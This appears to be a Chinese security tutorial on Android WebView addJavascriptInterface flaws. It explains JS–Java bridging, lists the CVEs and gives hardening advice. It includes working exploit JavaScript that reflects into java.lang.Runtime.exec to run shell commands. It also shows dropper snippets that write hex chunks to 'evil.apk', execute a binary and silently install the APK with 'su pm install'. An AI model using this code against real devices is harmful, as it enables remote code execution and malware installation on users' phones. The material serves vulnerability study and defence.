Android Webview漏洞初探
字数 1096 2025-08-27 12:33:48

Android WebView漏洞分析与防护指南

一、WebView组件概述

WebView是Android系统中用于在应用内部展示网页内容的核心组件,相当于一个内置浏览器。它允许应用与Web页面进行交互,支持URL请求、页面加载、渲染等功能。由于使用场景复杂多样,WebView组件自出现以来已被发现多个重大安全漏洞。

二、Java与JavaScript交互机制

1. WebView基本配置

public class MainActivity extends AppCompatActivity {
    WebView webView;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        webView = (WebView) findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true); // 启用JavaScript
        webView.loadUrl("https://www.baidu.com"); // 加载URL
    }
}

2. 本地加载JS并实现交互

public class MainActivity extends AppCompatActivity {
    WebView webView;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        webView = (WebView) findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true);
        // 将Java对象映射到JS对象
        webView.addJavascriptInterface(MainActivity.this, "main");
        webView.loadUrl("file:///android_asset/js.html");
    }
    
    // 定义JS需要调用的方法
    @JavascriptInterface
    public void jsCallJava(String message) {
        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
    }
}

对应的HTML文件(assets/js.html):

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>testjs</title>
    <script></script>
</head>
<body>
    <button type="button" onClick="window.main.jsCallJava('Message From Js')">
        Js Call Java
    </button>
</body>
</html>

3. 远程加载JS

webView.loadUrl("http://192.168.50.177:8080/js.html");

三、WebView漏洞探测与利用

1. 漏洞检测方法

检测页面代码(检测存在漏洞的接口):

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8" />
    <title>WebView漏洞检测</title>
</head>
<body>
    <p>提示:如何检测出"accessibility"和"accessibilityTraversal"接口----设置-辅助功能-开启系统或第三方辅助服务<br><br>
    <b><font color=red>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口:</font></b></p>
    
    <script type="text/javascript">
    function check() {
        for (var obj in window) {
            try {
                if ("getClass" in window[obj]) {
                    try {
                        window[obj].getClass();
                        document.write('<span style="color:red">' + obj + '</span>');
                        document.write('<br />');
                    } catch(e){}
                }
            } catch(e) {}
        }
    }
    check();
    </script>
</body>
</html>

2. 远程代码执行漏洞利用

EXP代码:

var i = 0;
function getContents(inputStream) {
    var contents = "" + i;
    var b = inputStream.read();
    var i = 1;
    while(b != -1) {
        var bString = String.fromCharCode(b);
        contents += bString;
        contents += "\n"
        b = inputStream.read();
    }
    i = i + 1;
    return contents;
}

function execute(cmdArgs) {
    for (var obj in window) {
        console.log(obj);
        if ("getClass" in window[obj]) {
            alert(obj);
            return window[obj].getClass().forName("java.lang.Runtime")
                .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
        }
    }
}

var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);
document.write(getContents(res.getInputStream()));

3. 恶意代码注入方法

方法一:直接注入二进制文件

var bin = "\\x50\\x4b\\x03\\x04\\x14\\x85\\xbe\\x86\\xbe\\x83\\x5e\\x40\\x3f\\x42\\xbf-x40\\x7f"
execute(["/system/bin/sh", "-c", "echo '" + bin + "' > /data/data/com.example.webviewtest/testBin"]);
execute(["chmod", "755", "/data/data/com.example.webviewtest/testBin"]);
execute(["/data/data/com.example.webviewtest/testBin"]);

方法二:分步注入APK文件

var armBinary1 = "\\x50\\x4b\\x03\\x04\\x14\\x42\\xbf-x40\\x7f";
var armBinary2 = "\\x93\\x9a\\xff\\xa2\\x56-x5f\\x0a\\x3d\\";
var armBinary3 = "\\xdb\\x06\\x00\\x00\\x0c\\x1c-x00\\x00\\x13";
var armBinary4 = "\\x2e\\x78\\x6d\\x6c\\xad\\x97-xcb\\x00\\x00\\x00";

execute(["/system/bin/sh", "-c", "echo -n '" + armBinary1 + "' > /mnt/sdcard/evil.apk"]);
execute(["/system/bin/sh", "-c", "echo -n '" + armBinary2 + "' >> /mnt/sdcard/evil.apk"]);
execute(["/system/bin/sh", "-c", "echo -n '" + armBinary3 + "' >> /mnt/sdcard/evil.apk"]);
execute(["/system/bin/sh", "-c", "echo -n '" + armBinary4 + "' >> /mnt/sdcard/evil.apk"]);
execute(["su", "-c", "pm install -r /mnt/sdcard/evil.apk"]);

四、WebView历史漏洞与防护

1. 主要历史漏洞

  1. CVE-2012-6336 (Android ≤ 4.1.2)

    • 问题:addJavascriptInterface无任何校验
    • 修复:被调用的函数必须添加@JavascriptInterface注解
  2. CVE-2014-1939 (Android ≤ 4.3.1)

    • 问题:searchBoxJavaBridge_接口存在RCE漏洞
    • 修复:移除漏洞接口
  3. CVE-2014-7224 (Android ≤ 4.4)

    • 问题:accessibilityaccessibilityTraversal接口存在RCE漏洞
    • 修复:移除漏洞接口

2. 防护建议

  1. 通用防护措施

    • 尽量不使用addJavascriptInterface接口
    • 对Android 4.2以下版本,应移除所有不必要的JS接口
  2. HTTPS协议加载URL

    • 进行证书校验,防止中间人攻击
    • 验证证书合法性,防止页面被篡改
  3. HTTP协议加载URL

    • 实施白名单过滤
    • 进行完整性校验
    • 考虑使用HTTPS替代HTTP
  4. 本地HTML加载

    • 将HTML文件内置在APK中
    • 对HTML页面进行完整性校验
  5. 移除危险接口

// 移除searchBoxJavaBridge_接口
removeJavascriptInterface("searchBoxJavaBridge_");
// 移除accessibility相关接口
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");

五、总结

  1. WebView漏洞主要源于Java反射机制被滥用,导致未受保护的接口可被调用执行任意代码
  2. 主要影响Android 4.4及以下版本的系统
  3. 防护核心在于限制JS接口的暴露和调用权限
  4. 开发者应遵循最小权限原则,仅开放必要的JS接口
  5. 对于老旧系统,必须移除已知的危险接口

六、参考资源

  1. Android官方WebView文档
  2. CVE漏洞数据库
  3. Android安全公告
  4. Android-webview-inject-shell
Android WebView漏洞分析与防护指南 一、WebView组件概述 WebView是Android系统中用于在应用内部展示网页内容的核心组件,相当于一个内置浏览器。它允许应用与Web页面进行交互,支持URL请求、页面加载、渲染等功能。由于使用场景复杂多样,WebView组件自出现以来已被发现多个重大安全漏洞。 二、Java与JavaScript交互机制 1. WebView基本配置 2. 本地加载JS并实现交互 对应的HTML文件(assets/js.html): 3. 远程加载JS 三、WebView漏洞探测与利用 1. 漏洞检测方法 检测页面代码(检测存在漏洞的接口): 2. 远程代码执行漏洞利用 EXP代码: 3. 恶意代码注入方法 方法一:直接注入二进制文件 方法二:分步注入APK文件 四、WebView历史漏洞与防护 1. 主要历史漏洞 CVE-2012-6336 (Android ≤ 4.1.2) 问题: addJavascriptInterface 无任何校验 修复:被调用的函数必须添加 @JavascriptInterface 注解 CVE-2014-1939 (Android ≤ 4.3.1) 问题: searchBoxJavaBridge_ 接口存在RCE漏洞 修复:移除漏洞接口 CVE-2014-7224 (Android ≤ 4.4) 问题: accessibility 和 accessibilityTraversal 接口存在RCE漏洞 修复:移除漏洞接口 2. 防护建议 通用防护措施 : 尽量不使用 addJavascriptInterface 接口 对Android 4.2以下版本,应移除所有不必要的JS接口 HTTPS协议加载URL : 进行证书校验,防止中间人攻击 验证证书合法性,防止页面被篡改 HTTP协议加载URL : 实施白名单过滤 进行完整性校验 考虑使用HTTPS替代HTTP 本地HTML加载 : 将HTML文件内置在APK中 对HTML页面进行完整性校验 移除危险接口 : 五、总结 WebView漏洞主要源于Java反射机制被滥用,导致未受保护的接口可被调用执行任意代码 主要影响Android 4.4及以下版本的系统 防护核心在于限制JS接口的暴露和调用权限 开发者应遵循最小权限原则,仅开放必要的JS接口 对于老旧系统,必须移除已知的危险接口 六、参考资源 Android官方WebView文档 CVE漏洞数据库 Android安全公告 Android-webview-inject-shell